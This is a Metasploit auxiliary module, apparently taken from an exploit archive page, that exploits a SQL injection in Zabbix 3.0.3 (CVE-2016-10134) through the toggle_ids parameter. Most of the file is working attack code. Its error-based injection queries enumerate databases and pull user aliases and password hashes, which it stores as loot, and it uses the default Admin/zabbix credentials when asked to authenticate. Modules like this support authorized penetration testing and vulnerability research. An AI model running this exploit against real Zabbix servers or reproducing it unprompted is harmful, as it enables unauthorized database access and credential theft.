## https://sploitus.com/exploit?id=PACKETSTORM:180650
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Zabbix toggle_ids SQL Injection',
'Description' => %q{
This module will exploit a SQL injection in Zabbix 3.0.3 and
likely prior in order to save the current usernames and
password hashes from the database to a JSON file.
},
'References' =>
[
['CVE', '2016-10134'],
['URL', 'https://seclists.org/fulldisclosure/2016/Aug/60']
],
'Author' =>
[
'1n3@hushmail.com', #discovery
'bperry' #module
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2016-08-11'
))
register_options(
[
OptBool.new('REQUIREAUTH', [true, 'Enforce authentication', false]),
OptString.new('USERNAME', [false, 'The username to authenticate with', 'Admin']),
OptString.new('PASSWORD', [false, 'The password to authenticate with', 'zabbix']),
OptString.new('TARGETURI', [true, 'The relative URI for Zabbix', '/zabbix'])
])
end
def check
sid, cookies = authenticate
left_marker = Rex::Text.rand_text_alpha(5)
right_marker = Rex::Text.rand_text_alpha(5)
flag = Rex::Text.rand_text_alpha(5)
query = "AND (SELECT 1256 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
query << ",(SELECT MID((IFNULL(CAST(0x#{flag.unpack("H*")[0]} AS CHAR),0x20)),1,54)"
query << " FROM dual LIMIT 0,1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM"
query << ' INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
res = make_injected_request(query, sid, cookies)
unless res and res.body
return Msf::Exploit::CheckCode::Safe
end
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
unless match
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
if match[1] == flag
return Msf::Exploit::CheckCode::Vulnerable
end
Msf::Exploit::CheckCode::Safe
end
def run
sid, cookies = authenticate
left_marker = Rex::Text.rand_text_alpha(5)
right_marker = Rex::Text.rand_text_alpha(5)
query = " AND (SELECT 5361 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
query << ",(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM"
query << " INFORMATION_SCHEMA.SCHEMATA),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x"
query << " FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
res = make_injected_request(query, sid, cookies)
unless res and res.body
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
unless match
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
count = match[1].to_i
dbs = []
0.upto(count-1) do |cur|
get_dbs = " AND (SELECT 5184 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
get_dbs << ",(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54)"
get_dbs << " FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{cur},1),0x#{right_marker.unpack("H*")[0]},"
get_dbs << "FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
res = make_injected_request(get_dbs, sid, cookies)
unless res and res.body
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
unless match
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
dbs << match[1]
end
dbs.delete("mysql")
dbs.delete("performance_schema")
dbs.delete("information_schema")
users = []
dbs.each do |db|
cols = ["alias", "passwd"]
user_count = " AND (SELECT 6262 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
user_count << ",(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM"
user_count << " #{db}.users),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM"
user_count << " INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
res = make_injected_request(user_count, sid, cookies)
unless res and res.body
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
unless match
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
count = match[1].to_i
0.upto(count-1) do |cur|
user = {}
cols.each do |col|
get_col = " AND (SELECT 6334 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
get_col << ",(SELECT MID((IFNULL(CAST(#{col} AS CHAR),0x20)),1,54)"
get_col << " FROM #{db}.users ORDER BY alias LIMIT #{cur},1),0x#{right_marker.unpack("H*")[0]}"
get_col << ',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
res = make_injected_request(get_col, sid, cookies)
unless res and res.body
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
unless match
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
user[col] = match[1]
end
users << user
end
end
loot = store_loot("zabbixusers.json","text/plain", rhost, users.to_json)
print_good('Users and password hashes stored at ' + loot)
end
def authenticate
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php')
})
unless res and res.body
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
cookies = res.get_cookies
match = /name="sid" value="(.*?)">/.match(res.body)
unless match
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
sid = match[1]
if datastore['REQUIREAUTH']
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_post' => {
'sid' => sid,
'form_refresh' => 1,
'name' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'autologin' => 1,
'enter' => 'Sign in'
},
'cookie' => cookies
})
unless res
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
if res.code == 302
cookies = res.get_cookies
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'latest.php'),
'vars_get' => {
'ddreset' => '1'
},
'cookies' => cookies
})
unless res and res.body
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
cookies = res.get_cookies
match = /name="sid" value="(.*?)">/.match(res.body)
unless match
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
sid = match[1]
elsif
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
end
return sid, cookies
end
def make_injected_request(sql, sid, cookies)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'latest.php'),
'method' => 'POST',
'vars_get' => {
'output' => 'ajax',
'sid' => sid
},
'vars_post' => {
'favobj' => 'toggle',
'toggle_ids[]' => '348 ' + sql,
'toggle_open_state' => 0
},
'cookie' => cookies
})
end
end